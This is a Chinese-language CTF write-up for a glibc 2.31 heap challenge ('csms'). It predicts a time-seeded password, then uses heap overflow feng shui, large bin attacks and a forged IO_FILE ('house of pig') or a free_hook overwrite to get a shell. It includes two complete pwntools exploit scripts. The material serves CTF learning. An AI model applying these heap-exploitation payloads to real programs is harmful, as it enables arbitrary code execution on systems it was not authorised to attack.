保护显然是全绿
我们来分析程序
首先会进入一个验证环节。
里面会将那一串字符串进行一个随机,随机的种子是time。
那么我们显然不能够用常规方法过掉检查,因为毕竟是会跟时间为种子的随机数随机起来。
那么我们要知道,time这里的种子是秒级的,不是毫秒,那么我们可以在写exp的时候也同时启动一个time的种子,然后来将字符串进行同样的随机,以此来达到一个预测随机的目的。
因为time种子是秒级的,基本上都可以过。
v0 = libcc.time(0)
libcc.srand(v0)
s = "n0_One_kn0w5_th15_passwd"
s1 = ""
for i in range(20):
v1 = i | ord(s[i]) ^ 0xF
s1 += chr(libcc.rand() & v1)
sa("Password for admin:", s1)
下面是一个堆。
我们逐个分析。
add函数
是一个while循环,输入1可以继续加。
里面涉及到了两个函数
第一个
注释说的很清楚。
上一个C++用到的是string类跟shared_ptr共享指针。
这个用的是vector结构体。
第二个函数
在输入name跟scores。
remove
可以通过index跟name进行寻找。
以name函数为例
edit
还有一个upload跟一个download
upload
download
这是upload的效果
他直接把chunk复制了一份。然后修改了207290的地方指针。
经过我们的调试,upload的作用就是把207290这个地方管理的vector加上现在程序管理的vector。
相反的,download的作用就是把207290管理的vector加到程序管理的vector中。
解题方法
解法一
其实这个题目的解题难就难在首先是chunk大小不受控制
然后是申请chunk只能从小到大,是没有回头路的。
我们申请,释放chunk规则都比较的严格。
################################################
先插了一条,然后upload一下,就会又多一个。
add("aaaaaaaa", "100", "2")
upload()
##############################################################
然后直接溢出开始堆风水。
payload = "a" * 0x10+"b" * 0x8 + p64(0x501) + "a" * 0x18 + p64(0xf121)
payload += p64(0x21) * 0x40 + p64(0x1f0) *0x10
payload += p64(0x21) * 0x80
edit2(0,payload,-1)
要注意此时topchunk在0x500的那个chunk中了,被包住了。
##################################################################
然后一次upload,一次download。
upload首先会申请一个chunk,会从topchunk那里申请,但是没用,已经被我们包住了,看不出来。
然后会释放之前的那个chunk,但是那里的chunk现在是0x500那个chunk,所以我们看到左图那里就被释放了。
可以看到这里还是0x20.
然后download,会把这0x20加到程序vector处,就是0x30,然后释放本来的chunk,就是那个0x20的chunk,再申请一个0x30,最后就是0x40的chunk,就会如右图所示。
且要说的是注意现在207290的vector的chunk在ea0到ed0.
upload()
download()
##############################################################
然后我们用溢出改一下,将堆里面布置好。
目的是什么呢?我们上面说,207290的vector还在ea0那个地方,我们这样伪造chunk之后,一会upload,就会将chunk释放到tcache中,那里本来就有一个0x20的chunk,然后就会给我们留一个堆地址在那里,就能得到heap地址。
然后我们就可以得到heap的地址。
edit2(0,"a"*0x10+p64(0)+p64(0x21)*3,-1)
upload()
sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "2")
sla("Index?\n", "2")
ru("cores\n")
r.recv(2)
heap_addr = u64(p.recv(6).ljust(8,'\x00')) - 0x11eb0
lg("heap_addr",heap_addr)
###########################################################
然后我们又进行了新一轮的堆风水。
前后对比明显。
是这个效果。
那让我们现在确定两个vector的位置。
程序里那个vector还是那个0x40
而207290的vector在0x吃那个地方。
两个终端里面的地址不是很一样,因为不是同时开打。偏移一样就可以看了。
payload = "\x00"*0x10+p64(0)+p64(0xc1)+p64(0)+p64(0xf0f1)
payload += p64(0x21)*8+p64(0)+p32(0x1f1)
sla("Enter the new name:\n", payload)
sla("Enter the new score:\n", "-1")
#################################################################################
然后再次调整堆结构
upload()
download()
#############################################################################
再次伪造chunk,目的是通过upload使得unsorted bin的chunk可以直接与程序vector重叠,从而泄露libc
payload = "\x00"*0x8+p64(0xf0f1)
payload += "\x00"*0x40+p64(0)+p64(0x4f1)
edit2(0,payload,0)
upload()
#################################################################################
libc就出来了。
sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "2")
sla("Index?\n", "6")
ru("cores\n")
r.recv(2)
libc_base = u64(r.recv(6).ljust(8,'\x00')) - 0x1bbca0
lg("libc_base",libc_base)
############################################################################
然后找到他的各种地址。
#######################################################################
这是伪造chunk之后的结构,黄线是unsorted bin 橙线是207290的vector。
payload = p64(0)+p64(0x271)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x3d1)*0x48
payload += p64(0x270)*10
edit2(5,payload,0)
upload()
#############################################################################
再来两次同样的过程,为的就是将207290的那个vector扩大。
unsortedbin的指针伪造要用
那个ca0地址。
最后的效果图
unsorted bin地方没变,然后207290的那个chunk疯狂向下走。
payload = p64(0)+p64(0x471)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x3d1)*0x48
payload += p64(0x270)*10
edit2(5,payload,0)
upload()
payload = p64(0)+p64(0x471)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x451)*0x48
payload += p64(0x271)*40
edit2(5,payload,0)
upload()
upload()
#############################################################################
接下来我们通过large bin attack攻击_IO_list_all
payload = p64(0)+p64(0x471)
payload += p64(0)*3 + p64(IO_list_all-0x20)+p64(0)
payload1 = p64(0x450)
payload1 += p64(0x451)*10
edit2(5,payload1,0)
edit2(0,p64(0)+p64(0x451)+p64(0)*2,0)
upload()
edit(5,payload,0)
upload()
upload()
upload()
###############################################################################
然后我们要攻击tls上方-0x70的一个地方,为啥要攻击它我们之后再说,反正攻击它在这个地方写一个chunk之后,整个tcache struct就会被劫持,就成了这个chunk。
但是要注意,gdb是不会显示的,他还是会显示之前的那个tcache。我们一会下面解释。
payload = p64(0)+p64(0x471)
payload += p64(0)*3 + p64(tls - 0x70 - 0x20)
payload += p64(0x21)*16
payload += p64(0x21) + p64(0x461)
payload += p64(0)*3+p64(tls - 0x70 - 0x20)
edit2(5,payload,0)
upload()
upload()
upload()
upload()
upload()
upload()
upload()
upload()
###########################################################################
伪造file 伪造tcache struct
伪造的file
最后整个chunk的效果图
payload = p64(libc_base+libc.sym["__free_hook"]-0x10)*12+p64(0)+p64(0)
payload += p64(0)*2+p64(0)+p64(heap_addr+0x29d0)+p64(0) #rdx
payload += p64(heap_addr+0x12100)+p64(heap_addr+22+0x12100)+p64(0)*4 #size
payload += p64(0)+p64(0)+p64(0)+"\x00"*8 #_chain
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
payload += p64(libc_base + libc.sym["__free_hook"])*2
payload += "/bin/sh\x00"
payload += p64(sys_addr)
payload += p64(sys_addr)*10
edit(10,payload,0)
edit(0,p8(1)*0x40+p64(libc_base+libc.sym["__free_hook"]-0x10)*2,1)
#############################################################################
那最后跑起来是一个什么效果呢
我们通过劫持io_file,最后会跑到_IO_str_overflow,然后源码在下面。
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
首先我们会malloc一个0x90的chunk。
然后因为tcache已经被我们劫持,且伪造好了,所以我们直接会申请到free_hook
然后会来一个memcpy函数。
源码是这样的
memcpy (new_buf, old_buf, old_blen);
new_buf是我们刚申请到的,现在是free_hook,那old_buf在哪?
char *old_buf = fp->_IO_buf_base;
所以我们就还是伪造IO_FILE的时候好好构造一下就可以了。
最后会跑一个free
然后我们就可以getshell了。
完整exp
# -*- coding: utf-8 -*-
from pwn import*
from ctypes import *
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
#context.terminal = ["tmux", "splitw", "-h"]
local = 1
if local:
r = process('./csms')
else:
r = remote("172.16.9.2",9004)
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6")
#libc = ELF("./libc-2.31.so")
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
def debug():
gdb.attach(r)
pause()
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def add(name, score, choice):
sla("> ", "1")
sla("Enter the ctfer's name:\n", name)
sla("Enter the ctfer's scores\n", score)
sla("Enter 1 to add another, enter the other to return\n", choice)
def add1(name, score, choice):
sla("Enter the ctfer's name:\n", name)
sla("Enter the ctfer's scores\n", score)
sla("Enter 1 to add another, enter the other to return\n", choice)
def remove1(name):
sla("> ", "2")
sla("\n1.Remove by name\n2.Remove by index\n", "1")
sla("Enter the name of the ctfer to be deleted\n", name)
def remove2(index):
sla("> ", "2")
sla("\n1.Remove by name\n2.Remove by index\n", "2")
sla("Index?\n", str(index))
def edit1(nname, name, score):
sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "1")
sla("Enter the name of the ctfer to be edit\n", nname)
sa("Enter the new name:\n", name)
sla("Enter the new score:\n", str(score))
def edit2(index, name, score):
sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "2")
sla("Index?\n", str(index))
sla("Enter the new name:\n", name)
sla("Enter the new score:\n", str(score))
def upload():
sla("> ", "4")
def download():
sla("> ", "5")
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset
v0 = libcc.time(0)
libcc.srand(v0)
s = "n0_One_kn0w5_th15_passwd"
s1 = ""
for i in range(20):
v1 = i | ord(s[i]) ^ 0xF
s1 += chr(libcc.rand() & v1)
sa("Password for admin:", s1)
add("aaaaaaaa", "100", "2")
upload()
payload = "a" * 0x10+"b" * 0x8 + p64(0x501) + "a" * 0x18 + p64(0xf121)
payload += p64(0x21) * 0x40 + p64(0x1f0) *0x10
payload += p64(0x21) * 0x80
edit2(0,payload,-1)
upload()
download()
edit2(0,"a"*0x10+p64(0)+p64(0x21)*3,-1)
upload()
sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "2")
sla("Index?\n", "2")
ru("cores\n")
r.recv(2)
heap_addr = u64(r.recv(6).ljust(8,'\x00')) - 0x11eb0
lg("heap_addr",heap_addr)
payload = "\x00"*0x10+p64(0)+p64(0xc1)+p64(0)+p64(0xf0f1)
payload += p64(0x21)*8+p64(0)+p32(0x1f1)
sla("Enter the new name:\n", payload)
sla("Enter the new score:\n", "-1")
upload()
download()
payload = "\x00"*0x8+p64(0xf0f1)
payload += "\x00"*0x40+p64(0)+p64(0x4f1)
edit2(0,payload,0)
upload()
sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "2")
sla("Index?\n", "6")
ru("cores\n")
r.recv(2)
libc_base = u64(r.recv(6).ljust(8,'\x00')) - 0x1ebbe0
free_hook = libc_base + libc.sym["__free_hook"]
sys_addr = libc_base + libc.sym["system"]
tls = libc_base - 0x183f40
mp = libc_base + 0x1eb280
_IO_list_all_addr = libc_base + libc.symbols['_IO_list_all']
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
bin_sh = libc_base + libc.search('/bin/sh').next()
lg("libc_base",libc_base)
lg("tls",tls)
sla("name:\n",p64(libc_base+0x1ebbe0)*2)
sla("Enter the new score:\n", "0")
#这里随便写就行,因为后面还会再次覆盖
payload = p64(0)+p64(0x271)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x3d1)*0x48
payload += p64(0x270)*10
edit2(5,payload,0)
upload()
payload = p64(0)+p64(0x471)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x3d1)*0x48
payload += p64(0x270)*10
edit2(5,payload,0)
upload()
payload = p64(0)+p64(0x471)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x451)*0x48
payload += p64(0x271)*40
edit2(5,payload,0)
upload()
upload()
payload = p64(0)+p64(0x471)
payload += p64(0)*3 + p64(_IO_list_all_addr-0x20)+p64(0)
payload1 = p64(0x450)
payload1 += p64(0x451)*10
edit2(5,payload1,0)
edit2(0,p64(0)+p64(0x451)+p64(0)*2,0)
upload()
edit2(5,payload,0)
upload()
upload()
upload()
payload = p64(0)+p64(0x471)
payload += p64(0)*3 + p64(tls - 0x70 - 0x20)
payload += p64(0x21)*16
payload += p64(0x21) + p64(0x461)
payload += p64(0)*3+p64(tls - 0x70 - 0x20)
edit2(5,payload,0)
upload()
upload()
upload()
upload()
upload()
upload()
upload()
upload()
payload = p64(libc_base+libc.sym["__free_hook"]-0x10)*12+p64(0)+p64(0)
payload += p64(0)*2+p64(0)+p64(heap_addr+0x29d0)+p64(0) #rdx
payload += p64(heap_addr+0x12100)+p64(heap_addr+22+0x12100)+p64(0)*4 #size
payload += p64(0)+p64(0)+p64(0)+"\x00"*8 #_chain
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
payload += p64(libc_base + libc.sym["__free_hook"])*2
payload += "/bin/sh\x00"
payload += p64(sys_addr)
payload += p64(sys_addr)*10
edit2(10,payload,0)
edit2(0, p16(1) * 64 ,65537)
gdb.attach(r,"b _IO_str_overflow")
sla("> ", "6")
r.interactive()
而且不知道大家有没有发现,我们这个其实最后走的是一个house of pig的一个过程!
那还要说的是啥的
坑点1
首先我们在想办法攻击tcache struct的时候,我们通过large bin attack,攻击哪里比较好呢?
刚开始攻击tls结构体,但是记错了,tls结构体并没有啥用。
后来攻击mp结构体
这个mp结构体很有意思的是你看他里面有个sbrk_base,看着就像攻击了能劫持tcache struct,但是攻击完之后,很有意思,gdb已经改过来了。
但是申请程序的时候还是原来的tcache struct。
然后仔细研究为啥。
发现申请的时候丢下去的tcache struct的地址在tls - 0x70的地方,我们应该攻击那里。
坑点2
然后其实我写完之后发现我们既然能large bin attack任意写个堆地址了,我们完全可以按着house of husk的样子来,直接溢出tcache struct,也可以达到任意申请chunk的一个目的
坑点3
第三个我们要说的是IO_FILE的攻击
我们最后利用的还是攻击IO_FILE
但是很早之前我们就学过2.24之前以及之后的攻击IO_FILE的手段,好像记着也没这个这么复杂。
我把之前的2.24之后劫持vtable的思路列了出来。
1、为绕过_IO_all_lokcp中的检查进入到_IO_OVERFLOW,需构造
_mode <= 0
_IO_write_ptr > _IO_write_base2、构造vtable = _IO_str_jumps - 0x8,使_IO_str_finish函数替代_IO_OVERFLOE函数,(因为_IO_str_finish在_IO_str_jumps中的偏移为0x10,而_IO_OVERFLOW在原vtable中的偏移为0x18)
3、构造fp -> _IO_buf_base作为参数
4、构造fp->flags & _IO_USER_BUF == 0
5、构造fp->_s._free_buffer为system或one_gadget (_free_buffer = fp + 0xe8)
6、调用_IO_flush_all_lokcp函数,触发(fp->_s._free_buffer) (fp->_IO_buf_base)
abort(如触发malloc报错时)
exit
从main函数返回
1、为绕过_IO_all_lokcp中的检查进入到_IO_OVERFLOW,需构造
_mode <= 0
_IO_write_ptr > _IO_write_base2、构造vtable = _IO_str_jumps ,使_IO_str_overflow函数替代_IO_OVERFLOE函数,(因为_IO_str_finish在_IO_str_jumps中的偏移为0x18,而_IO_OVERFLOW在原vtable中的偏移为0x18)
3、构造fp->flags & _IO_USER_BUF ==0
&& fp->flags & _IO_NO_WRITES == 0
4、构造new_size = (fp->_IO_buf_end - fp -> _IO_buf_base) * 2 + 100 = binsh_addr
5、构造 fp->_s._allocate_buffer = &system ( fp->_s._allocate_buffer = fp + 0xe0)
abort(如触发malloc报错时)
exit
从main函数返回
那为啥不用这个直接用这个思路来呢?
我们发现他最后的落脚点都是_s.free_buffre s.allocate_buffer
本来这两个参数地址就在IO_FILE的后面,我们可以直接控制,但是在2.28之后,他把我们的这个思路堵死了。
你看他直接用函数,那些函数不受我们控制了,所以没办法只能走house of pig的一个利用思路。
解法二
解法二是别的师傅告诉我的,比起上面的就友好了很多很多。
首先还是初始化一下。
add("a", "0", "2")
upload()
#####################################################################################################
然后还是伪造一下chunk
upload一下直接释放
然后remove一下把程序vector的那个第二个指针拉上去。
download一下把他释放掉再申请一下
这种做法非常的巧妙,利用chunk的堆叠,通过一次释放,把main_arena的地址直接写在了我们的207290的那个vector中,从而导致我们可以直接泄露地址。
edit2(0, 'a' * 0x18 + p64(0x421) + 'a' * 0x18 + p64(0xf121) + "a" * 0x3F8 + p64(0x11) + "a" * 8 + p64(0x11), 0)
upload()
remove2(0)
download()
debug()
sla("> ", "3")
sla("2.Edit by index\n", str(2))
sla("Index?\n", str(1))
ru("Scores\n1\t")
libc_base = u64(r.recv(6) + "\x00" * 2) - 0x1ebb80 - 0x60
free_hook = libc_base + libc.sym['__free_hook']
lg("libc_base", libc_base)
###########################################################################################################
然后我们只要继续add加起来,然后分配到free_hook,改成system就可以了。
exp
# -*- coding: utf-8 -*-
from pwn import*
from ctypes import *
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
#context.terminal = ["tmux", "splitw", "-h"]
local = 1
if local:
r = process('./csms')
else:
r = remote("172.16.9.2",9004)
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6")
#libc = ELF("./libc-2.31.so")
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
def debug():
gdb.attach(r)
pause()
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def add(name, score, choice):
sla("> ", "1")
sla("Enter the ctfer's name:\n", name)
sla("Enter the ctfer's scores\n", score)
sla("Enter 1 to add another, enter the other to return\n", choice)
def add1(name, score, choice):
sla("Enter the ctfer's name:\n", name)
sla("Enter the ctfer's scores\n", score)
sla("Enter 1 to add another, enter the other to return\n", choice)
def remove1(name):
sla("> ", "2")
sla("\n1.Remove by name\n2.Remove by index\n", "1")
sla("Enter the name of the ctfer to be deleted\n", name)
def remove2(index):
sla("> ", "2")
sla("\n1.Remove by name\n2.Remove by index\n", "2")
sla("Index?\n", str(index))
def edit1(nname, name, score):
sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "1")
sla("Enter the name of the ctfer to be edit\n", nname)
sa("Enter the new name:\n", name)
sla("Enter the new score:\n", str(score))
def edit2(index, name, score):
sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "2")
sla("Index?\n", str(index))
sla("Enter the new name:\n", name)
sla("Enter the new score:\n", str(score))
def upload():
sla("> ", "4")
def download():
sla("> ", "5")
v0 = libcc.time(0)
libcc.srand(v0)
s = "n0_One_kn0w5_th15_passwd"
s1 = ""
for i in range(20):
v1 = i | ord(s[i]) ^ 0xF
s1 += chr(libcc.rand() & v1)
sa("Password for admin:", s1)
add("a", "0", "2")
upload()
edit2(0, 'a' * 0x18 + p64(0x421) + 'a' * 0x18 + p64(0xf121) + "a" * 0x3F8 + p64(0x11) + "a" * 8 + p64(0x11), 0)
upload()
remove2(0)
download()
sla("> ", "3")
sla("2.Edit by index\n", str(2))
sla("Index?\n", str(1))
ru("Scores\n1\t")
libc_base = u64(r.recv(6) + "\x00" * 2) - 0x1ebb80 - 0x60
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
lg("libc_base", libc_base)
sla("name:",p64(0) + p64(0x111))
sla("score:", str(0))
gadget = p64(free_hook - 0x10) + p64(0x31)
upload()
edit2(0, gadget * 2 + p64(free_hook - 0x10) + p64(0x111), 0)
upload()
edit2(0, gadget * 2 + p64(free_hook - 0x10) + p64(0x111) + p64(free_hook - 0x10), 0)
upload()
payload = "/bin/sh\x00" * 2 + p64(system_addr) * 2 + p64(free_hook - 0x10) + p64(0x111) + p64(free_hook - 0x10)
payload += gadget * 4 + p64(0x31) + gadget
edit2(0, payload, 0)
upload()
for i in range(6):
add("a", "0", "2")
debug()
sla("> ", "1")
r.interactive()